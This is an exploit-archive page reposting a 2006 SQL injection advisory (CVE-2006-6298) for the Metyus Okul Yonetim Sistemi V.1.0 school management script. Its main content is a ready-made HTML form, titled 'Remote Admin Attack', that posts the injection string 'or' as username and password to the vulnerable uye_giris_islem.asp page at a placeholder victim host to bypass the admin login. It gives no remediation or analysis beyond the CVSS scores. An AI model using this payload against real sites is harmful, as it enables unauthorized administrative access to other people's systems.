Metyus Okul Y�netim Sistemi V.1.0 (tr) Sql injection Vuln.

Metyus Okul Ynetim Sistemi V.1.0 (tr) Sql injection Vuln.

2006.12.07

Credit: ShaFuq31

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2006-6298

CWE: CWE-Other

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# LiderHack.Org

# script name : Metyus Okul Ynetim Sistemi V.1.0 (tr)

# Script Download : http://www.maxiasp.com/scriptler.asp?ktno=1

# Risk : High

# Found By : ShaFuck31

# Thanks : Dekolax , DesquneR , ST@ReXT , SaboTaqe

# Vulnerable file : uye_giris_islem.asp

#Manual connect :

Go to Admin Panel Login -----> http://victim.com/[path to script]/default.asp

#Remote connect :

<title>Remote Admin Attack - LiderHack.Org // Hacking & Security PortaL</title>
<center>ShaFuck31 - LiderHack.Org</center>
<FORM NAME=giris ACTION="http://victim.com/[path to script]/uye_giris_islem.asp" METHOD=post>
<table align=center>
<td>Kullanici Adi:</td><td><INPUT NAME=kullanici_ismi class="input" value="'or'" SIZE=15></td>
</tr><tr>
<td>Sifre:</td><td><INPUT NAME=sifre TYPE=text class="input" value="'or'" SIZE=15></td>
</tr><tr>
<td align=center colspan=2><BUTTON class="input" TYPE=submit>Giris</BUTTON></td>
</tr></table></form>

#Contact: ShaFuq31 (at) HoTMaiL (dot) CoM [email concealed]

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Metyus Okul Ynetim Sistemi V.1.0 (tr) Sql injection Vuln.

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.